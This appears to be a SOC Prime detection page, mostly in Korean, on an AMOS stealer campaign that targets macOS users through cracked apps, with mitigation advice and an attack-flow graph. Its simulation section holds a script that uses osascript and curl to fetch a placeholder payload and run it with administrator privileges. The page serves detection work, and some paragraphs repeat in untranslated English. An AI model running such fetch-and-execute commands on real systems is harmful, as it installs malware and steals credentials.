SOC Prime Bias: 중간

08 5월 2026 18:45

AMOS 스틸러, “크랙”된 앱을 통해 macOS 타겟팅

Author Photo
SOC Prime Team linkedin icon 팔로우
AMOS 스틸러, “크랙”된 앱을 통해 macOS 타겟팅
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

요약

이 보고서는 크랙된 애플리케이션으로 위장하거나 사용자가 복사-붙여넣기 방식의 터미널 명령을 실행하도록 지시하여 Atomic macOS Stealer (AMOS)를 배포하는 캠페인에 대해 설명합니다. 실행되면, 이 악성코드는 자격 증명, 브라우저 정보, 암호화폐 지갑, 메시징 애플리케이션 파일, VPN 프로필, 개인 문서를 포함한 광범위한 민감한 데이터를 수집한 후 HTTP 또는 HTTPS를 통해 탈취된 내용을 유출합니다. 운영자는 정적 탐지를 피하기 위해 캠페인이 진행되는 동안 도메인과 URL을 회전시킵니다. 이 활동은 주로 비공식 또는 불법 소프트웨어를 찾는 macOS 사용자들을 목표로 합니다.

조사

Trend Vision One 원격 측정이 haxmac.cc 에서의 크랙 애플리케이션 다운로드를 시작으로 인터미디에이트 도메인을 통한 리디렉션, 악성 셸 스크립트 실행, 지속성을 위한 런치 데몬 생성, 데이터 staging을 /tmp 에서 수행 후 ZIP 압축하여 공격자가 제어하는 회전 도메인으로 유출하는 전체 감염 체인을 재구성하는 데 사용되었습니다. 연구원들은 각 침해 단계와 관련된 명령 줄, 파일 경로, 행동 지표를 캡처했습니다. haxmac.cc, followed by redirection through intermediary domains, execution of malicious shell scripts, creation of launch daemons for persistence, staging of data in /tmp, compression into ZIP archives, and exfiltration to rotating attacker-controlled domains. Researchers captured the relevant command lines, file paths, and behavioral indicators associated with each stage of the compromise.

완화

조직은 사용자에게 크랙 소프트웨어와 복사-붙여넣기 터미널 명령의 위험에 대해 교육하고, Gatekeeper 및 공증 제어를 시행하며, macOS 시스템에서 불필요한 스크립트 실행을 제한해야 합니다. 방어자는 의심하는 curl및 osascript 활동을 모니터링하고, 알려진 악성 도메인 및 IP 주소에 대한 접근을 차단해야 합니다. 엔드포인트 탐지는 승인되지 않은 런치 데몬 생성, 숨겨진 파일 배치, 비정상적인 파일 수집 또는 유출 행동에 중점을 두어야 합니다. curl and osascript activity and block access to known malicious domains and IP addresses. Endpoint detections should focus on unauthorized launch daemon creation, hidden file placement, and unusual file collection or exfiltration behavior.

대응

AMOS 활동이 탐지되면, 영향을 받은 엔드포인트를 격리하고, 악성 프로세스를 종료하며, .helper 및 .agent와 같은 숨겨진 파일들을 제거하고, com.finder.helper.plist 등으로 준비된 모든 staging 데이터를 삭제하십시오. 손상된 자격 증명은 철회해야 하며, 복구된 아카이브에 대한 포렌식 분석을 수행해야 합니다. 식별된 악성 인프라는 차단해야 하며, 관찰된 명령 패턴을 감시할 수 있도록 탐지 내용을 업데이트해야 합니다. .helper, .agent, and com.finder.helper.plist, and delete any staged data prepared for exfiltration. Compromised credentials should be revoked, and forensic analysis should be performed on any recovered archives. The identified malicious infrastructure should be blocked, and detection content should be updated to monitor for the observed command patterns.

graph TB %% 클래스 정의 classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffcc99 classDef process fill:#ff9966 classDef data fill:#ccffcc %% 노드 – 액션(기법) step1_initial_access_file[“<b>액션</b> – <b>T1204.002 사용자 실행: 악성 파일</b><br/>피해자는 크랙된 애플리케이션으로 위장한 트로이화된 .dmg 파일을 다운로드하고 실행한다.”] class step1_initial_access_file action step2_copy_paste[“<b>액션</b> – <b>T1204.004 사용자 실행: 악성 복사 및 붙여넣기</b><br/>피해자는 웹페이지에서 Terminal로 curl 명령을 복사하며, 이로 인해 install.sh가 다운로드되고 실행된다.”] class step2_copy_paste action step3_masquerading[“<b>액션</b> – <b>T1036 가장</b><br/>멀웨어는 정상적인 크랙 소프트웨어와 가짜 설치 페이지로 위장된다.”] class step3_masquerading action step4_curl_proxy[“<b>액션</b> – <b>T1218 시스템 바이너리 프록시 실행</b><br/>정상 curl 바이너리가 악성 스크립트를 가져온다.”] class step4_curl_proxy action step5_osascript_proxy[“<b>액션</b> – <b>T1216 시스템 스크립트 프록시 실행</b><br/>osascript가 AppleScript 페이로드를 실행하여 코드를 수행한다.”] class step5_osascript_proxy action step6_shell_interpreter[“<b>액션</b> – <b>T1059.004 명령 및 스크립트 인터프리터: Unix Shell</b><br/>쉘 명령은 디렉터리를 생성하고 파일을 수집하며 데이터 유출을 위해 curl을 호출한다.”] class step6_shell_interpreter action step7_sudo_abuse[“<b>액션</b> – <b>T1548.003 권한 상승 제어 메커니즘 악용: Sudo 및 Sudo 캐시</b><br/>탈취된 비밀번호가 sudo에 전달되어 root 권한으로 LaunchDaemon plist를 작성한다.”] class step7_sudo_abuse action step8_persistence[“<b>액션</b> – <b>T1569 시스템 서비스: LaunchDaemon</b><br/>LaunchDaemon(com.finder.helper.plist)이 시스템 부팅 시 악성 .agent 스크립트를 실행한다.”] class step8_persistence action step9_defense_evasion[“<b>액션</b> – <b>T1127 신뢰된 개발자 유틸리티 프록시 실행</b><br/>Apple 개발자 유틸리티(osascript)가 페이로드 실행에 사용되어 방어를 우회한다.”] class step9_defense_evasion action step10_dga[“<b>액션</b> – <b>T1568.002 동적 해석: 도메인 생성 알고리즘</b><br/>공격자는 페이로드 전달을 위해 다수의 .cfd 및 기타 도메인을 순환시킨다.”] class step10_dga action step11_browser_creds[“<b>액션</b> – <b>T1555.003 비밀번호 저장소의 자격 증명: 웹 브라우저</b><br/>Chrome, Firefox 및 Edge 로그인 데이터와 쿠키를 추출한다.”] class step11_browser_creds action step12_keychain[“<b>액션</b> – <b>T1555 비밀번호 저장소의 자격 증명</b><br/>macOS Keychain 항목을 추출한다.”] class step12_keychain action step13_wallet_keys[“<b>액션</b> – <b>T1552.004 개인 키</b><br/>암호화폐 지갑 파일을 탈취한다.”] class step13_wallet_keys action step14_session_cookies[“<b>액션</b> – <b>T1550.004 웹 세션 쿠키</b><br/>나중에 재사용하기 위해 세션 쿠키를 수집한다.”] class step14_session_cookies action step15_archive[“<b>액션</b> – <b>T1560 수집된 데이터 아카이브</b><br/>수집된 파일이 out.zip으로 압축된다.”] class step15_archive action step16_compression[“<b>액션</b> – <b>T1027.015 압축</b><br/>데이터는 유출 전에 압축된다(난독화).”] class step16_compression action step17_exfil_https[“<b>액션</b> – <b>T1071.001 애플리케이션 계층 프로토콜: 웹 프로토콜</b><br/>압축된 아카이브가 HTTPS POST를 통해 공격자가 제어하는 서버로 업로드된다.”] class step17_exfil_https action step18_indirect_curl[“<b>액션</b> – <b>T1202 간접 명령 실행</b><br/>curl 명령이 원격 스크립트를 조용히 가져와 실행한다.”] class step18_indirect_curl action %% 노드 – 도구 tool_curl[“<b>도구</b> – <b>이름</b>: curl<br/><b>설명</b>: URL을 사용하여 데이터를 전송하는 명령줄 유틸리티.”] class tool_curl tool tool_osascript[“<b>도구</b> – <b>이름</b>: osascript<br/><b>설명</b>: AppleScript 또는 JavaScript for Automation 스크립트를 실행한다.”] class tool_osascript tool tool_sudo[“<b>도구</b> – <b>이름</b>: sudo<br/><b>설명</b>: 상승된 권한으로 명령을 실행한다.”] class tool_sudo tool tool_launchd[“<b>도구</b> – <b>이름</b>: launchd<br/><b>설명</b>: LaunchDaemon 및 에이전트를 로드하기 위한 macOS 서비스 관리자.”] class tool_launchd tool %% 노드 – 파일 및 데이터 file_dmg[“<b>파일</b> – <b>이름</b>: trojanized.dmg<br/><b>유형</b>: 크랙된 애플리케이션으로 위장한 디스크 이미지”] class file_dmg file file_install_sh[“<b>파일</b> – <b>이름</b>: install.sh<br/><b>유형</b>: curl을 통해 다운로드된 쉘 스크립트”] class file_install_sh file data_out_zip[“<b>데이터</b> – <b>이름</b>: out.zip<br/><b>내용</b>: 유출 준비가 완료된 수집 파일”] class data_out_zip data %% 흐름 연결 step1_initial_access_file –>|다운로드 및 실행| file_dmg file_dmg –>|트리거| step1_initial_access_file step1_initial_access_file –>|이어짐| step2_copy_paste step2_copy_paste –>|사용| tool_curl tool_curl –>|다운로드| file_install_sh file_install_sh –>|실행| step2_copy_paste step2_copy_paste –>|이어짐| step3_masquerading step3_masquerading –>|활성화| step4_curl_proxy step4_curl_proxy –>|사용| tool_curl tool_curl –>|가져옴| step5_osascript_proxy step5_osascript_proxy –>|사용| tool_osascript tool_osascript –>|실행| step6_shell_interpreter step6_shell_interpreter –>|호출| step7_sudo_abuse step7_sudo_abuse –>|사용| tool_sudo tool_sudo –>|작성| step8_persistence step8_persistence –>|관리됨| tool_launchd tool_launchd –>|실행| step9_defense_evasion step9_defense_evasion –>|촉진| step10_dga step10_dga –>|제공| step11_browser_creds step10_dga –>|제공| step12_keychain step10_dga –>|제공| step13_wallet_keys step10_dga –>|제공| step14_session_cookies step11_browser_creds –>|수집됨| step15_archive step12_keychain –>|수집됨| step15_archive step13_wallet_keys –>|수집됨| step15_archive step14_session_cookies –>|수집됨| step15_archive step15_archive –>|생성| data_out_zip data_out_zip –>|압축됨| step16_compression step16_compression –>|전송됨| step17_exfil_https step17_exfil_https –>|사용| tool_curl tool_curl –>|수행| step18_indirect_curl step18_indirect_curl –>|완료| step1_initial_access_file %% 스타일 class step1_initial_access_file,step2_copy_paste,step3_masquerading,step4_curl_proxy,step5_osascript_proxy,step6_shell_interpreter,step7_sudo_abuse,step8_persistence,step9_defense_evasion,step10_dga,step11_browser_creds,step12_keychain,step13_wallet_keys,step14_session_cookies,step15_archive,step16_compression,step17_exfil_https,step18_indirect_curl action class tool_curl,tool_osascript,tool_sudo,tool_launchd tool class file_dmg,file_install_sh file class data_out_zip data

공격 흐름

시뮬레이션 실행

전제 조건: 원격 측정 및 기준선 사전 점검이 통과해야 합니다.

추론: 이 섹션에서는 탐지 규칙을 유발하도록 설계된 적의 기법 (TTP)의 정확한 실행을 자세히 설명합니다. 명령 및 서사는 식별된 TTP를 직접 반영하고, 탐지 논리에 의해 기대되는 정확한 원격 측정을 생성하는 것을 목표로 해야 합니다. 추상적이거나 관련이 없는 예시는 오진을 유발할 수 있습니다.

  • 공격 서사 및 명령:
    적은 AppleScript 페이로드를 전달하는 피싱 미끼를 얻었습니다. 이 스크립트는 osascript 를 사용하여 셸 명령 (sh -c )을 실행하며, 이는 curl 을 호출하여 악성 C2 서버에서 AMOS 스틸러 바이너리를 다운로드하고 사용자 의 ~/Library/Application Support/ 폴더에 저장한 뒤에 권한 상승으로 실행합니다. osascript 의 사용 (서명된 Apple 바이너리)이 정당한 자동화처럼 보이고, curl 은 은밀한 네트워크 다운로드 제공을 합니다. osascript to execute a shell command (sh -c) that invokes curl to download the AMOS stealer binary from a malicious C2 server, stores it in the user’s ~/Library/Application Support/ folder, and then executes it with elevated permissions. The use of osascript (a signed Apple binary) masks the activity as legitimate automation, while curl provides a stealthy network download.

  • 회귀 테스트 스크립트:

    # amos_stealer_simulation.sh
    # osascript + curl 을 사용하여 macOS에서 AMOS 스틸러 실행을 시뮬레이션합니다.
    
    # 1. 악성 URL 정의 (안전성을 위해 무해한 플레이스홀더 사용)
    MALICIOUS_URL="https://example.com/malicious_payload.sh"
    
    # 2. AppleScript는 셸 명령을 실행하여 페이로드를 다운로드하고 실행합니다
    APPLESCRIPT=$(cat <<'EOF'
    do shell script "sh -c 'curl -s -o /tmp/payload.sh "https://example.com/malicious_payload.sh" && chmod +x /tmp/payload.sh && /tmp/payload.sh'" with administrator privileges
    EOF
    )
    
    # 3. osascript로 AppleScript 실행
    echo "$APPLESCRIPT" | osascript
    
    # 4. 페이로드 실행 잠시 대기
    sleep 5
  • 정리 명령:

    # cleanup_amos_simulation.sh
    # 시뮬레이션에서 생성된 아티팩트 제거
    
    # 다운로드된 페이로드 제거
    rm -f /tmp/payload.sh
    
    # 임시로 상승된 프로세스 철회 (여전히 실행중인 경우)
    pkill -f "/tmp/payload.sh" || true
    
    # 선택적으로, AppleScript 실행 기록 지우기
    # (macOS는 osascript에 대해 지속적인 기록을 보관하지 않습니다)
    echo "정리 완료."